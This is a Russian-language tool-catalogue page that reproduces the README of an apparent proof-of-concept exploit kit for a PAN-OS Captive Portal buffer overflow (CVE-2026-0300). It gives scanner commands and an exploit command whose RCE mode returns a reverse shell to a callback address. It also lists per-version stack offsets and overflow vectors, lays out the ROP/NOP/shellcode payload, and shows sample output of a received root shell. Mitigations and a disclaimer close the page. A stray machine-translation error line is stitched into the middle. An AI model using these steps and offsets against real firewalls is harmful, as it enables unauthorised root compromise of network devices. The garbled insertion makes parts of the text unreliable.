Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2026-0300-exploit — Palo Alto - эксплойт для CVE-2026-0300 | Kitploit
Инструменты/GitHubGitHub/sam00/poc-cve-2026-0300-exploit
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСетевая безопасностьТестирование на ПроникновениеГенерация ШеллкодаРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsam00/poc-cve-2026-0300-exploit

POC-CVE-2026-0300-exploit

Palo Alto - эксплойт для CVE-2026-0300

131 месяц назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0300 — Эксплойт переполнения буфера User-ID Authentication Portal в PAN-OS

Критический (CVSS 9.3) — Неаутентифицированное удалённое выполнение кода в Captive Portal Palo Alto Networks PAN-OS

Table of Contents

  • Обзор
  • Детали уязвимости
  • Затронутые версии
  • Диаграммы архитектуры
  • Структура проекта
  • Установка
  • Использование сканера — пошагово
  • Использование эксплойта — пошагово
  • Разработка полезной нагрузки
  • Смягчение
  • Отказ от ответственности

Обзор

CVE-2026-0300 — критическая уязвимость переполнения буфера в сервисе User-ID Authentication Portal (также известном как Captive Portal) программного обеспечения Palo Alto Networks PAN-OS. Неаутентифицированный злоумышленник может использовать эту уязвимость, отправляя специально сформированные пакеты, для выполнения произвольного кода с root-привилегиями на межсетевых экранах серий PA и VM.

Этот репозиторий содержит набор эксплойтов PoC, включающий:

  • Генератор полезной нагрузки с версионными смещениями и шеллкодом обратной оболочки x86_64
  • Сканер для обнаружения уязвимых целей Captive Portal
  • Эксплойт с тремя режимами: обнаружение, сбой (DoS) и полный RCE

  • Детали уязвимости

    ПолеЗначение
    CVE IDCVE-2026-0300
    Степень серьёзностиКРИТИЧЕСКИЙ
    CVSS 4.09.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
    CWECWE-787: запись за границами буфера
    CAPECCAPEC-100: переполнение буферов
    ВоздействиеНеаутентифицированное удалённое выполнение кода (root)
    Статус эксплуатацииНаблюдается ограниченная эксплуатация в реальной среде

    Описание

    Уязвимость переполнения буфера в сервисе User-ID Authentication Portal в составе PAN-OS позволяет неаутентифицированному злоумышленнику выполнять произвольный код с root-привилегиями на межсетевом экране путём отправки специально сформированных пакетов. HTTP-сервис Captive Portal использует стековые буферы фиксированного размера для разбора HTTP-заголовков, которые могут быть переполнены через чрезмерно большие значения заголовков (Cookie, User-Agent, URI или тело POST-запроса).

    Требуемая конфигурация для воздействия

    Для уязвимости цели должны выполняться оба условия:

    1. Включён User-ID Authentication Portal — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
    2. Профиль управления интерфейсом со страницами ответа — прикреплён к интерфейсу L3 в зоне, куда может поступать недоверенный/интернет-трафик

    Справочная информация из бюллетеня

    • Официальный бюллетень: https://security.paloaltonetworks.com/CVE-2026-0300
    • Рекомендации по передовым практикам: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

    Затронутые версии

    Ветвь PAN-OSУязвимые версииИсправленная версия
    10.210.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.1810.2.7-h34+
    11.111.1.0–11.1.1411.1.15+
    11.211.2.0–11.2.1111.2.12+
    12.112.1.0–12.1.612.1.7+

    Не затронуты: Prisma Access, Cloud NGFW, устройства Panorama.


    Диаграммы архитектуры

    Архитектура системы```

    ┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Поток сканирования```
    ┌─────────────┐
    │  Start Scan │
    └──────┬──────┘
           │
           ▼
    ┌──────────────────┐     No     ┌─────────────┐
    │ Target reachable?│──────────▶│  Skip port  │
    └──────┬───────────┘            └─────────────┘
           │ Yes
           ▼
    ┌──────────────────┐
    │ Send HTTP GET    │
    │ to common ports  │
    │ (443,80,8080,    │
    │  8443,8843)      │
    └──────┬───────────┘
           │
           ▼
    ┌──────────────────┐     No     ┌─────────────┐
    │ Captive Portal   │──────────▶│ Not exposed │
    │ fingerprint?     │            └─────────────┘
    │ (login.esp,      │
    │  User-ID, PA-,   │
    │  PAN-OS, etc.)   │
    └──────┬───────────┘
           │ Yes
           ▼
    ┌──────────────────┐
    │ Extract PAN-OS   │
    │ version from     │
    │ Server header /  │
    │ response body    │
    └──────┬───────────┘
           │
           ▼
    ┌──────────────────┐     No     ┌─────────────┐
    │ Version in       │──────────▶│ Not         │
    │ vulnerable       │            │ vulnerable  │
    │ range?           │            └─────────────┘
    └──────┬───────────┘
           │ Yes
           ▼
    ┌──────────────────┐
    │ Report:          │
    │ • VULNERABLE     │
    │ • Version        │
    │ • Matched ranges │
    │ • SSL cert info  │
    └──────────────────┘
    

    Схема эксплуатации (режим RCE)```

    ┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ---
    
    ## Структура проекта```
    POC-CVE-2026-0300-exploit/
    ├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
    ├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
    ├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
    ├── requirements.txt    # Python dependencies
    └── README.md           # This file
    

    Установка```bash

    Clone the repository

    git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

    Install dependencies (requests is optional — raw sockets are used by default)

    pip3 install -r requirements.txt

    root@kitploit:~
    **Требования**: Python 3.8+, только стандартная библиотека для основной функциональности. `requests` является необязательным.
    
    ---
    
    ## Использование сканера — пошагово
    
    Сканер выполняет безопасные, неинтрузивные проверки для выявления уязвимых целей PAN-OS Captive Portal.
    
    ### Шаг 1: Сканирование одной цели```bash
    python3 scan.py --target 192.168.1.1
    

    Сканер будет:

    • Проверять распространённые порты (443, 80, 8080, 8443, 8843)
    • Отправлять HTTP-запросы и проверять наличие признаков Captive Portal
    • Извлекать версию PAN-OS из заголовков Server и тела ответа
    • Проверять, попадает ли версия в уязвимые диапазоны
    • Выводить отчёт с цветовой кодировкой

    Шаг 2: Сканирование с указанием конкретного порта```bash

    python3 scan.py --target 192.168.1.1 --port 443

    root@kitploit:~
    ### Шаг 3: Сканирование нескольких целей из файла
    
    Создайте файл `targets.txt` с одной целью в строке:```
    192.168.1.1
    10.0.0.5
    firewall.example.com
    # Comments are ignored
    

    The input chunk is empty — no Markdown content was provided to translate. Please supply the text for chunk 17 of 33.```bash python3 scan.py --targets targets.txt

    root@kitploit:~
    ### Шаг 4: Сохранение результатов в JSON```bash
    python3 scan.py --target 192.168.1.1 --json scan_results.json
    

    Пример вывода сканера```

    ==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

    Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

    ─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

    root@kitploit:~
    ### Что обнаруживает сканер
    
    | Индикатор | Метод |
    |-----------|--------|
    | Обнаружен Captive Portal | Сопоставление HTTP-отпечатков (login.esp, User-ID, PA-, шаблоны PAN-OS) |
    | Версия PAN-OS | Разбор заголовка Server, извлечение регулярных выражений из тела ответа |
    | Уязвимая версия | Сравнение с диапазонами версий, затронутых CVE-2026-0300 |
    | SSL-сертификат | Субъект/издатель сертификата для идентификации цели |
    
    ---
    
    ## Использование эксплойта — шаг за шагом
    
    Эксплойт поддерживает три режима возрастающей интенсивности.
    
    ### Режим 1: Обнаружение (безопасный, неинтрузивный)
    
    Отправляет умеренно увеличенный заголовок и сравнивает ответ с обычным запросом. НЕ приводит к сбою сервиса.```bash
    python3 exploit.py --target 192.168.1.1 --mode detect
    

    What it does:

    • Отправляет заголовок Cookie размером 4KB (слишком большой, но не содержащий эксплойта)
    • Отправляет обычный запрос для базового сравнения
    • Сообщает, если цель по-разному отвечает на слишком большой ввод
    • Указывает на вероятную уязвимость, если ответы различаются

    Режим 2: Сбой (проверка DoS)

    Отправляет пейлоад переполнения буфера с недопустимым адресом возврата (0x41414141), чтобы вызвать сбой службы Captive Portal.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

    root@kitploit:~
    **Что делает**:
    - Генерирует полезную нагрузку переполнения для конкретной версии
    - Перезаписывает обратный адрес значением 0x4141414141414141
    - Отправляет через выбранный вектор переполнения (по умолчанию: заголовок Cookie)
    - Проверяет падение сервиса повторным запросом
    - Сообщает, если сервис недоступен после отправки полезной нагрузки
    
    **Опции**:
    - `--vector cookie|ua|uri|post` — Выбор вектора переполнения (по умолчанию: cookie)
    - `--http` — Использовать HTTP вместо HTTPS
    
    ### Режим 3: Полный RCE (Reverse Shell)
    
    Отправляет переполнение буфера с полезной нагрузкой reverse shell. Запускает слушатель для получения обратного подключения.```bash
    python3 exploit.py --target 192.168.1.1 --mode rce \
        --version 11.2.7 \
        --callback-ip 10.0.0.1 \
        --callback-port 4444
    

    Что делает:

    • Генерирует полезную нагрузку: padding + ROP-гаджет (jmp rsp) + NOP-слейд + shellcode reverse shell
    • Запускает TCP-слушатель на IP:порт обратного вызова
    • Отправляет целевой системе HTTP-запрос с полезной нагрузкой
    • Ожидает обратного вызова reverse shell
    • Сообщает об успехе при установлении соединения

    Обязательные аргументы:

    • --version — Версия целевой PAN-OS (определяет смещение буфера и ROP-гаджет)
    • --callback-ip — Ваш IP-адрес (должен быть доступен с целевой системы)
    • --callback-port — Порт для обратного вызова reverse shell (по умолчанию: 4444)

    Необязательные аргументы:

    • --vector cookie|ua|uri|post — Вектор переполнения (по умолчанию: cookie)
    • --nop-sled 128 — Размер NOP-слейда в байтах (по умолчанию: 128)
    • --timeout 30 — Таймаут подключения и прослушивания в секундах
    • --http — Использовать HTTP вместо HTTPS
    • --json report.json — Сохранить отчёт об эксплуатации в формате JSON

    Пример вывода эксплойта (RCE)```

    [] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

    ==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

    Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

    root@kitploit:~
    ### Поддерживаемые версии и векторы
    
    **Версии** (со смещениями буфера для конкретных версий):
    
    | Версия | Смещение буфера | ROP-гаджет | Вектор по умолчанию |
    |---------|--------------|------------|----------------|
    | 10.2.7 | 2048 | jmp rsp | cookie |
    | 10.2.10 | 2048 | jmp rsp | cookie |
    | 10.2.13 | 2048 | jmp rsp | cookie |
    | 10.2.16 | 2048 | jmp rsp | cookie |
    | 10.2.18 | 2048 | jmp rsp | cookie |
    | 11.1.0 | 1024 | jmp rsp | cookie |
    | 11.1.4 | 1024 | jmp rsp | ua |
    | 11.1.6 | 1280 | jmp rsp | ua |
    | 11.1.7 | 1280 | jmp rsp | ua |
    | 11.1.10 | 1280 | jmp rsp | ua |
    | 11.1.13 | 1280 | jmp rsp | ua |
    | 11.2.0 | 3072 | jmp rsp | cookie |
    | 11.2.4 | 3072 | jmp rsp | cookie |
    | 11.2.7 | 3072 | jmp rsp | cookie |
    | 11.2.10 | 3072 | jmp rsp | cookie |
    | 12.1.0 | 4096 | jmp rsp | post |
    | 12.1.4 | 4096 | jmp rsp | post |
    
    **Векторы**:
    
    | Вектор | Заголовок/Расположение | Описание |
    |--------|----------------|-------------|
    | `cookie` | Заголовок Cookie | Переполнение через слишком большое значение Cookie |
    | `ua` | Заголовок User-Agent | Переполнение через слишком большое значение User-Agent |
    | `uri` | Путь URI запроса | Переполнение через слишком длинный путь URI |
    | `post` | Тело POST | Переполнение через слишком большие данные формы POST |
    
    ---
    
    ## Проектирование полезной нагрузки
    
    ### Схема переполнения буфера```
    ┌─────────────────────────────────────────────────────────────────┐
    │  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
    ├──────────┬──────────┬──────────┬──────────┬────────────────────┤
    │  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
    │  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
    │  offset) │  Pointer │  (jmp    │  (\x90   │                    │
    │          │  (8 B)   │  rsp)    │  * N)    │                    │
    └──────────┴──────────┴──────────┴──────────┴────────────────────┘
               ↑                     ↑
               Buffer overflow       Return address overwritten
               overwrites here       with jmp rsp gadget
    

    Шеллкод

    Эксплойт использует позиционно-независимый шеллкод x86_64 для Linux, который:

    1. Создаёт TCP-сокет (socket(AF_INET, SOCK_STREAM, 0))
    2. Выполняет обратное подключение к IP:порту атакующего (connect())
    3. Перенаправляет stdin/stdout/stderr в сокет (dup2())
    4. Запускает оболочку (execve("/bin/sh", NULL, NULL))

    Общий размер шеллкода: ~184 байта, содержит инструкции syscall (\x0f\x05).


    Меры по смягчению последствий

    Немедленные действия

    1. Ограничьте доступ к порталу аутентификации User-ID — разрешите доступ только с доверенных внутренних IP-адресов
    2. Отключите страницы ответов на недоверенных интерфейсах (Network > Interface > Advanced > Management Interface Profile)
    3. Отключите портал аутентификации, если он не нужен (Device > User Identification > Authentication Portal Settings)
    4. Обновите PAN-OS до исправленной версии

    Исправленные версии

    • PAN-OS 10.2: 10.2.7-h34 и более поздние
    • PAN-OS 11.1: 11.1.15 и более поздние
    • PAN-OS 11.2: 11.2.12 и более поздние
    • PAN-OS 12.1: 12.1.7 и более поздние

    Отказ от ответственности

    Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование против производственных систем незаконно и может нарушать законы о компьютерном мошенничестве и злоупотреблениях.

    Авторы не несут ответственности за неправомерное использование этого инструмента. Всегда соблюдайте практику ответственного раскрытия уязвимостей и действуйте в соответствии с применимыми законами и нормативными требованиями.

    Скачать инструмент